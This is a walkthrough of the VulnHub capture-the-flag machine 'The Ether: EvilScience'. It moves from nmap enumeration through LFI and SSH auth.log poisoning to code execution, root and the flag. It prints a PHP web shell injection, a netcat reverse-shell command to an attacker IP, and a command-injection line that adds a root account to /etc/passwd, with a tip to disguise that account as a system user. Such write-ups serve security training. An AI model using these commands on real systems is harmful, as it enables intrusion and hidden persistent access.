CTF: The Ether: EvilScience (walkthrough)

Enumerating the web content on target TheEther: EvilScience - vulnhub - CTF - walkthrough
CTF: https://www.vulnhub.com/entry/the-ether-evilscience-v101,212/​

Enumeration

As usual, getting the IP of the VM:
The Ether - EvilScience - getting VM IP (vulnhub CTF walkthrough)
The Ether – EvilScience – getting VM IP
Scanning for Services and Opened ports:
# nmap -O -sT -sV --top-ports 1000 192.168.1.136
# nmap -sT -sV -p- 192.168.1.136
The UDP scan showed just port 53 opened:
UDP Scan on target TheEther: EvilScience - vulnhub - CTF - walkthrough
UDP Scan on target TheEther: EvilScience
So by now, we know the target is running OpenSSH 7.2p2 (which is vulnerable to username enumeration), and an Apache 2.4.18 server. To enumerate the services further, you could nc to the target on each port. In this case, the ssh service could be enumerated further:
# nc -nv 192.168.1.136 22
(UNKNOWN) [192.168.1.136] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
Googling for the package header “4ubuntu2.4” leads us to the following result on launchpad, so that now we know the target is supposedly running an Ubuntu 16.04 Xenial. The apache daemon doesn’t give us any additional information:
# nc -nv 192.168.1.136 80
(UNKNOWN) [192.168.1.136] 80 (http) open
HEAD / HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 02 Feb 2018 10:36:55 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 304
Connection: close
Content-Type: text/html; charset=iso-8859-1
So the next step is to enumerate the target web server and what content is running on it:
Enumerating the web content on target TheEther: EvilScience - vulnhub - CTF - walkthrough
Enumerating the web content on target TheEther: EvilScience
The very first thing you would do is view the source code and look for anything interesting. Afterwards, look at the way the links are structured. In this case you would notice that each link points to a filename with .php extension, which means the server may be vulnerable to an LFI. For example, going to the following page: http://192.168.1.136/index.php?file=about.php and swapping the “file” variable with: http://192.168.1.136/index.php?file=/etc/passwd doesn’t give us any feedback or error. The second thing that you would notice is that when you go through each link the content is actually included twice, which means the original content of the index.php file is actually written within the about.php and research.php files. Checking them out directly proves that, by visiting directly the /about.php page:
TheEther: Evilscience (/about.php) - CTF - vulnhub - walkthrough
TheEther: Evilscience (/about.php)
And the third thing you may want to look is for a robots.txt file exposing any directories which is not present on the server. Reading the text on the “about.php” page brings the attention to the following text:
contact us at wearethebody@theether.com.
Keeping in mind that the target is vulnerable to a username enumeration, consider this is gold. However, unfortunately in this case this wouldn’t bring us any further:
TheEther: EvilScience - Trying to enumerate a username on the target - vulnhub CTF walkthrough
TheEther: EvilScience – Trying to enumerate username “wearethebody”

Vulnerability scan

To check for any possible vulnerabilities on target, you should run nikto and nmap at this point:
# nikto -C all -h http://192.168.1.136
TheEther: Evilscience - nikto - CTF - vulnhub - walkthrough
TheEther: Evilscience – nikto – CTF walkthrough
# nmap -sT --script vuln -p80 192.168.1.136
The nmap NSE scan didn’t show anything useful and it froze several times so I got sick of it and haven’t included a screenshot. Running dirb and dirbuster both showed nothing interesting. So getting back from the beginning and trying to play with the URI with the hope of finding an LFI again, you could try a local file you could have access to which is actually included (either a .css or a .js file in the template):
Testing for LFI - TheEther: EvilScience - vulnhub CTF walkthrough
http://192.168.1.136/?file=layout/styles/layout.css
So an LFI exists indeed, however currently we have no way of enumerating a file outside the web server directory structure. Common tries for LFI cheatsheets are to check for php wrappers etc. which didnt work in this case. As the target is running apache and an openssh daemon, you could try log contemplating the log files, in case you get the LFI to read them somehow. This can be done either by using an automatic fuzzer like burp suite or owasp zap and fuzz the URI, or try the most common sense manually. I actually happened to find this out manually after reading the following article about how to go From Local File Inclusion to Code Execution from Infosec Institutehowever have in mind that in a more complicated scenario you’d have to use an automatic scanner along with a fuzzer list from fuzzdb for example(after reading a few blog posts regarding this CTF I found out that other guys went with either burp or owasp zap with the following list So getting back to my way, in this case the common locations to try are the default /var/log/apache2/access.log and /var/log/auth.log files as explained in the above link. Trying to inject the apache2’s log file into the URI wouldn’t do anything, however if you request the auth.log file you would get redirected to the front index.php page, which is by all means an unusual response. In order to check things further, you could use curl without the option to follow requests (for more common curl commands you can go to my cheatsheet) :
curl -is http://192.168.1.136/index.php?file=/var/log/auth.log - vulnhub - CTF - walkthrough
Testing for LFI – using curl with no follow location –
# curl -is http://192.168.1.136/index.php?file=/var/log/auth.log
Now that’s something interesting and may result in an attack vector surface.  Now following the above article we could try to inject some php code into the log file, and then (supposedly) when we request it via the web server the php interpreter would execute it and evaluate the php code, then output the result.
$ ssh <? php system($_GET['cmd']);?>@192.168.1.136
Achieving RCE via ssh log file - TheEther: EvilScience - vulnhub - CTF - wakthrough
Injecting php code into ssh auth.log file and contaminating with RCE
And then checking whether this lead to an RCE:
$ curl -is 'http://192.168.1.136/index.php?file=/var/log/auth.log&cmd=ls'
Listing directory contents via an RCE (contaminating ssh auth.log) - CTF - vulnhub - walkthrough
Contaminating the /var/log/auth.log file and listing its contents
The RCE injection and contaminating the /var/log/auth.log ssh file was successful. From this point it should be an easy task to spawn a persistent shell on the target:
# curl -is 'http://192.168.1.136/index.php?file=/var/log/auth.log&cmd=mknod%20/tmp/backpipe%20p;%20/bin/sh%200</tmp/backpipe%20|%20nc%20<IP>%20443%201>/tmp/backpipe'
# curl -is 'http://192.168.1.136/index.php?file=/var/log/auth.log&cmd=mknod%20/tmp/backpipe%20p;%20/bin/sh%200</tmp/backpipe%20|%20nc%20<IP>%20443%201>/tmp/backpipe'
Getting a persistent shell on target TheEther: EvilScience

 Privilege Escalation

The privilege escalation vector on this box is quite easy. After doing your usual enumeration you’d notice that the www-data user has suid permissions without requiring a password on the xxxlogauditorxxx.py file:
# sudo -l - target TheEther: EvilScience - vulnhub - CTF - walkthrough
Checking for sudo commands – a python script could run as root with no passwd required
 
xxxlogauditorxxx.py is vulnerable to command injection via '| ls' - TheEther - EvilScience - vulnhub - CTF - walkthrough
The xxxlogauditorxxx.py python script seems to be vulnerable to a command injection via pipe
So from this point you should have an idea on how to bring this to root. You could either add a new user via /etc/passwd (that’s my usual preference as I consider it a more straight-forward and neater way, although a bit obvious for the real world, but still you could always add a user that seems to be a system user like “systemd-bus” or something like this) or just spawn another shell via the sudo script (consider using another port). So the input you could provide to the xxxlogauditorxxx.py is as following: Run as sudo user:
# sudo /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
Input:
/var/log/auth.log| echo 'evilsc1ence:$6$YK.U.xZVRm$RnektJOqahuXLZEfA0sl9.lhBeYg83RfTDmHHKKlcccYt6JNeqyIoLrc2.Bw4hAkOjJ5fTJGVQh7x9XiapPTW.:0:0::/root:/bin/bash' >> /etc/passwd
And then here we go:
EvilScience: TheEther - getting root via bash command injection - vulnhub - CTF - walkthrough
Getting root on target EvilScience: TheEther using bash command injection

Getting the flag

The flag resides in the /root directory in a file called flag.png. The actual image looks as following:
Getting the flag on target TheEther: EvilScience - CTF - vulnhub - walkthrough
Getting the flag on target TheEther: EvilScience
At the time I was doing the CTF I got the picture pretty fast as I had some recent experience reading a string encoded into binary data so I just gave it a shot (literally it just flashed in my mind in less than a minute). The way to get the flag is to read the ASCII data encoded into the file either using a hex editor or by any other means you could read ascii text encoded inside a binary file. I prefer using the “strings” application which I consider a more straight-forward way:
# strings /root/flag.png
Getting the flag on target TheEther: EvilScience - # strings /root/flag.png - base64 encoded data into a binary file
Getting the flag as a base64 encoded data into a png file
So this seems like base64 encoded data. To decode it, you could do like so:
# echo "<string>" | base64 -d
The strings and the base64 are common binaries which are included in most distributions so you could go ahead and do this directly on the target. And here it goes as the flag is decoded:
Getting the flag on target TheEther: EvilScience - vulnhub - CTF - walkthrough
Getting the flag on target TheEther: EvilScience – decoding a base64 string encoded into the binary file
 

Leave a Reply

Your email address will not be published. Required fields are marked *